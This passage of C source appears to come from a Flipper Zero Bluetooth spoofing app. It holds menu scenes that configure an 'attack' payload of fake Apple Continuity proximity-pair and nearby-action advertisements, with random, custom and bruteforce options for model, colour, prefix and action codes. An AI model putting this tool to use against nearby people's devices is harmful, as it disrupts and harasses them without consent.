  749. payload->mode = PayloadModeRandom;
  750. scene_manager_previous_scene(ctx->scene_manager);
  751. break;
  752. case pp_models_count + 1:
  753. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  754. break;
  755. case pp_models_count + 2:
  756. payload->mode = PayloadModeBruteforce;
  757. payload->bruteforce.counter = 0;
  758. payload->bruteforce.value = cfg->data.proximity_pair.model;
  759. payload->bruteforce.size = 2;
  760. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  761. scene_manager_previous_scene(ctx->scene_manager);
  762. break;
  763. default:
  764. if(payload->mode != PayloadModeBruteforce ||
  765. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  766. payload->mode = PayloadModeValue;
  767. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  768. scene_manager_previous_scene(ctx->scene_manager);
  769. break;
  770. }
  771. }
  772. void scene_continuity_pp_model_on_enter(void* _ctx) {
  773. Ctx* ctx = _ctx;
  774. Payload* payload = &ctx->attack->payload;
  775. ContinuityCfg* cfg = &payload->cfg.continuity;
  776. Submenu* submenu = ctx->submenu;
  777. uint32_t selected = 0;
  778. submenu_reset(submenu);
  779. bool value = payload->mode == PayloadModeValue ||
  780. (payload->mode == PayloadModeBruteforce &&
  781. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceModel);
  782. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  783. if(payload->mode == PayloadModeRandom) {
  784. selected = 0;
  785. }
  786. bool found = false;
  787. for(uint8_t i = 0; i < pp_models_count; i++) {
  788. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  789. if(!found && value && cfg->data.proximity_pair.model == pp_models[i].value) {
  790. found = true;
  791. selected = i + 1;
  792. }
  793. }
  794. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  795. if(!found && value) {
  796. selected = pp_models_count + 1;
  797. }
  798. submenu_add_item(submenu, "Bruteforce", pp_models_count + 2, pp_model_callback, ctx);
  799. if(!value && payload->mode == PayloadModeBruteforce) {
  800. selected = pp_models_count + 2;
  801. }
  802. submenu_set_selected_item(submenu, selected);
  803. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  804. }
  805. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  806. UNUSED(_ctx);
  807. UNUSED(event);
  808. return false;
  809. }
  810. void scene_continuity_pp_model_on_exit(void* _ctx) {
  811. UNUSED(_ctx);
  812. }
  813. static void pp_model_custom_callback(void* _ctx) {
  814. Ctx* ctx = _ctx;
  815. Payload* payload = &ctx->attack->payload;
  816. ContinuityCfg* cfg = &payload->cfg.continuity;
  817. if(payload->mode != PayloadModeBruteforce ||
  818. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  819. payload->mode = PayloadModeValue;
  820. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  821. scene_manager_previous_scene(ctx->scene_manager);
  822. scene_manager_previous_scene(ctx->scene_manager);
  823. }
  824. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  825. Ctx* ctx = _ctx;
  826. Payload* payload = &ctx->attack->payload;
  827. ContinuityCfg* cfg = &payload->cfg.continuity;
  828. ByteInput* byte_input = ctx->byte_input;
  829. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  830. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  831. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  832. byte_input_set_result_callback(
  833. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  834. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  835. }
  836. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  837. UNUSED(_ctx);
  838. UNUSED(event);
  839. return false;
  840. }
  841. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  842. UNUSED(_ctx);
  843. }
  844. static void pp_color_callback(void* _ctx, uint32_t index) {
  845. Ctx* ctx = _ctx;
  846. Payload* payload = &ctx->attack->payload;
  847. ContinuityCfg* cfg = &payload->cfg.continuity;
  848. uint8_t model_index = 0;
  849. uint8_t colors_count = 0;
  850. if(payload->mode == PayloadModeValue ||
  851. (payload->mode == PayloadModeBruteforce &&
  852. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  853. for(; model_index < pp_models_count; model_index++) {
  854. if(cfg->data.proximity_pair.model == pp_models[model_index].value) {
  855. colors_count = pp_models[model_index].colors_count;
  856. break;
  857. }
  858. }
  859. }
  860. if(index == colors_count) {
  861. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColorCustom);
  862. } else if(index == colors_count + 1U) {
  863. payload->mode = PayloadModeBruteforce;
  864. payload->bruteforce.counter = 0;
  865. payload->bruteforce.value = cfg->data.proximity_pair.color;
  866. payload->bruteforce.size = 1;
  867. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceColor;
  868. scene_manager_previous_scene(ctx->scene_manager);
  869. } else {
  870. if(payload->mode != PayloadModeBruteforce ||
  871. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  872. payload->mode = PayloadModeValue;
  873. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  874. scene_manager_previous_scene(ctx->scene_manager);
  875. }
  876. }
  877. void scene_continuity_pp_color_on_enter(void* _ctx) {
  878. Ctx* ctx = _ctx;
  879. Payload* payload = &ctx->attack->payload;
  880. ContinuityCfg* cfg = &payload->cfg.continuity;
  881. Submenu* submenu = ctx->submenu;
  882. uint32_t selected = 0;
  883. submenu_reset(submenu);
  884. bool value = payload->mode == PayloadModeValue ||
  885. (payload->mode == PayloadModeBruteforce &&
  886. cfg->data.proximity_pair.bruteforce_mode != ContinuityPpBruteforceColor);
  887. bool found = false;
  888. uint8_t colors_count = 0;
  889. if(payload->mode == PayloadModeValue ||
  890. (payload->mode == PayloadModeBruteforce &&
  891. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)) {
  892. for(uint8_t i = 0; i < pp_models_count; i++) {
  893. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  894. colors_count = pp_models[i].colors_count;
  895. for(uint8_t j = 0; j < colors_count; j++) {
  896. submenu_add_item(
  897. submenu, pp_models[i].colors[j].name, j, pp_color_callback, ctx);
  898. if(!found && value &&
  899. cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  900. found = true;
  901. selected = j;
  902. }
  903. }
  904. break;
  905. }
  906. }
  907. }
  908. submenu_add_item(submenu, "Custom", colors_count, pp_color_callback, ctx);
  909. if(!found && value) {
  910. selected = colors_count;
  911. }
  912. submenu_add_item(submenu, "Bruteforce", colors_count + 1, pp_color_callback, ctx);
  913. if(!value && payload->mode == PayloadModeBruteforce) {
  914. selected = colors_count + 1;
  915. }
  916. submenu_set_selected_item(submenu, selected);
  917. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  918. }
  919. bool scene_continuity_pp_color_on_event(void* _ctx, SceneManagerEvent event) {
  920. UNUSED(_ctx);
  921. UNUSED(event);
  922. return false;
  923. }
  924. void scene_continuity_pp_color_on_exit(void* _ctx) {
  925. UNUSED(_ctx);
  926. }
  927. static void pp_color_custom_callback(void* _ctx) {
  928. Ctx* ctx = _ctx;
  929. Payload* payload = &ctx->attack->payload;
  930. ContinuityCfg* cfg = &payload->cfg.continuity;
  931. if(payload->mode != PayloadModeBruteforce ||
  932. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  933. payload->mode = PayloadModeValue;
  934. cfg->data.proximity_pair.color = (ctx->byte_store[0] << 0x00);
  935. scene_manager_previous_scene(ctx->scene_manager);
  936. scene_manager_previous_scene(ctx->scene_manager);
  937. }
  938. void scene_continuity_pp_color_custom_on_enter(void* _ctx) {
  939. Ctx* ctx = _ctx;
  940. Payload* payload = &ctx->attack->payload;
  941. ContinuityCfg* cfg = &payload->cfg.continuity;
  942. ByteInput* byte_input = ctx->byte_input;
  943. byte_input_set_header_text(byte_input, "Enter custom Device Color");
  944. ctx->byte_store[0] = (cfg->data.proximity_pair.color >> 0x00) & 0xFF;
  945. byte_input_set_result_callback(
  946. byte_input, pp_color_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  947. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  948. }
  949. bool scene_continuity_pp_color_custom_on_event(void* _ctx, SceneManagerEvent event) {
  950. UNUSED(_ctx);
  951. UNUSED(event);
  952. return false;
  953. }
  954. void scene_continuity_pp_color_custom_on_exit(void* _ctx) {
  955. UNUSED(_ctx);
  956. }
  957. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  958. Ctx* ctx = _ctx;
  959. Payload* payload = &ctx->attack->payload;
  960. ContinuityCfg* cfg = &payload->cfg.continuity;
  961. switch(index) {
  962. case 0:
  963. cfg->data.proximity_pair.prefix = 0x00;
  964. scene_manager_previous_scene(ctx->scene_manager);
  965. break;
  966. case pp_prefixes_count + 1:
  967. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  968. break;
  969. default:
  970. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  971. scene_manager_previous_scene(ctx->scene_manager);
  972. break;
  973. }
  974. }
  975. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  976. Ctx* ctx = _ctx;
  977. Payload* payload = &ctx->attack->payload;
  978. ContinuityCfg* cfg = &payload->cfg.continuity;
  979. Submenu* submenu = ctx->submenu;
  980. uint32_t selected = 0;
  981. bool found = false;
  982. submenu_reset(submenu);
  983. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  984. if(cfg->data.proximity_pair.prefix == 0x00) {
  985. found = true;
  986. selected = 0;
  987. }
  988. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  989. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  990. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  991. found = true;
  992. selected = i + 1;
  993. }
  994. }
  995. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  996. if(!found) {
  997. selected = pp_prefixes_count + 1;
  998. }
  999. submenu_set_selected_item(submenu, selected);
  1000. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1001. }
  1002. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  1003. UNUSED(_ctx);
  1004. UNUSED(event);
  1005. return false;
  1006. }
  1007. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  1008. UNUSED(_ctx);
  1009. }
  1010. static void pp_prefix_custom_callback(void* _ctx) {
  1011. Ctx* ctx = _ctx;
  1012. Payload* payload = &ctx->attack->payload;
  1013. ContinuityCfg* cfg = &payload->cfg.continuity;
  1014. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  1015. scene_manager_previous_scene(ctx->scene_manager);
  1016. scene_manager_previous_scene(ctx->scene_manager);
  1017. }
  1018. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  1019. Ctx* ctx = _ctx;
  1020. Payload* payload = &ctx->attack->payload;
  1021. ContinuityCfg* cfg = &payload->cfg.continuity;
  1022. ByteInput* byte_input = ctx->byte_input;
  1023. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  1024. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  1025. byte_input_set_result_callback(
  1026. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1027. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1028. }
  1029. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1030. UNUSED(_ctx);
  1031. UNUSED(event);
  1032. return false;
  1033. }
  1034. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  1035. UNUSED(_ctx);
  1036. }
  1037. static void na_action_callback(void* _ctx, uint32_t index) {
  1038. Ctx* ctx = _ctx;
  1039. Payload* payload = &ctx->attack->payload;
  1040. ContinuityCfg* cfg = &payload->cfg.continuity;
  1041. switch(index) {
  1042. case 0:
  1043. payload->mode = PayloadModeRandom;
  1044. scene_manager_previous_scene(ctx->scene_manager);
  1045. break;
  1046. case na_actions_count + 1:
  1047. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  1048. break;
  1049. case na_actions_count + 2:
  1050. payload->mode = PayloadModeBruteforce;
  1051. payload->bruteforce.counter = 0;
  1052. payload->bruteforce.value = cfg->data.nearby_action.action;
  1053. payload->bruteforce.size = 1;
  1054. scene_manager_previous_scene(ctx->scene_manager);
  1055. break;
  1056. default:
  1057. payload->mode = PayloadModeValue;
  1058. cfg->data.nearby_action.action = na_actions[index - 1].value;
  1059. scene_manager_previous_scene(ctx->scene_manager);
  1060. break;
  1061. }
  1062. }
  1063. void scene_continuity_na_action_on_enter(void* _ctx) {
  1064. Ctx* ctx = _ctx;
  1065. Payload* payload = &ctx->attack->payload;
  1066. ContinuityCfg* cfg = &payload->cfg.continuity;
  1067. Submenu* submenu = ctx->submenu;
  1068. uint32_t selected = 0;
  1069. submenu_reset(submenu);
  1070. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  1071. if(payload->mode == PayloadModeRandom) {
  1072. selected = 0;
  1073. }
  1074. bool found = false;
  1075. for(uint8_t i = 0; i < na_actions_count; i++) {
  1076. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  1077. if(!found && payload->mode == PayloadModeValue &&
  1078. cfg->data.nearby_action.action == na_actions[i].value) {
  1079. found = true;
  1080. selected = i + 1;
  1081. }
  1082. }
  1083. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  1084. if(!found && payload->mode == PayloadModeValue) {
  1085. selected = na_actions_count + 1;
  1086. }
  1087. submenu_add_item(submenu, "Bruteforce", na_actions_count + 2, na_action_callback, ctx);
  1088. if(payload->mode == PayloadModeBruteforce) {
  1089. selected = na_actions_count + 2;
  1090. }
  1091. submenu_set_selected_item(submenu, selected);
  1092. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  1093. }
  1094. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  1095. UNUSED(_ctx);
  1096. UNUSED(event);
  1097. return false;
  1098. }
  1099. void scene_continuity_na_action_on_exit(void* _ctx) {
  1100. UNUSED(_ctx);
  1101. }
  1102. static void na_action_custom_callback(void* _ctx) {
  1103. Ctx* ctx = _ctx;
  1104. Payload* payload = &ctx->attack->payload;
  1105. ContinuityCfg* cfg = &payload->cfg.continuity;
  1106. payload->mode = PayloadModeValue;
  1107. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  1108. scene_manager_previous_scene(ctx->scene_manager);
  1109. scene_manager_previous_scene(ctx->scene_manager);
  1110. }
  1111. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  1112. Ctx* ctx = _ctx;
  1113. Payload* payload = &ctx->attack->payload;
  1114. ContinuityCfg* cfg = &payload->cfg.continuity;
  1115. ByteInput* byte_input = ctx->byte_input;
  1116. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  1117. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  1118. byte_input_set_result_callback(
  1119. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1120. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1121. }
  1122. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  1123. UNUSED(_ctx);
  1124. UNUSED(event);
  1125. return false;
  1126. }
  1127. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  1128. UNUSED(_ctx);
  1129. }
  1130. static void na_flags_callback(void* _ctx) {
  1131. Ctx* ctx = _ctx;
  1132. scene_manager_previous_scene(ctx->scene_manager);
  1133. }
  1134. void scene_continuity_na_flags_on_enter(void* _ctx) {
  1135. Ctx* ctx = _ctx;
  1136. Payload* payload = &ctx->attack->payload;
  1137. ContinuityCfg* cfg = &payload->cfg.continuity;
  1138. ByteInput* byte_input = ctx->byte_input;
  1139. byte_input_set_header_text(byte_input, "Press back for automatic");
  1140. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  1141. byte_input_set_result_callback(
  1142. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  1143. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  1144. }
  1145. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  1146. Ctx* ctx = _ctx;
  1147. if(event.type == SceneManagerEventTypeBack) {
  1148. ctx->byte_store[0] = 0x00;
  1149. }
  1150. return false;
  1151. }
  1152. void scene_continuity_na_flags_on_exit(void* _ctx) {
  1153. Ctx* ctx = _ctx;
  1154. Payload* payload = &ctx->attack->payload;
  1155. ContinuityCfg* cfg = &payload->cfg.continuity;
  1156. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  1157. }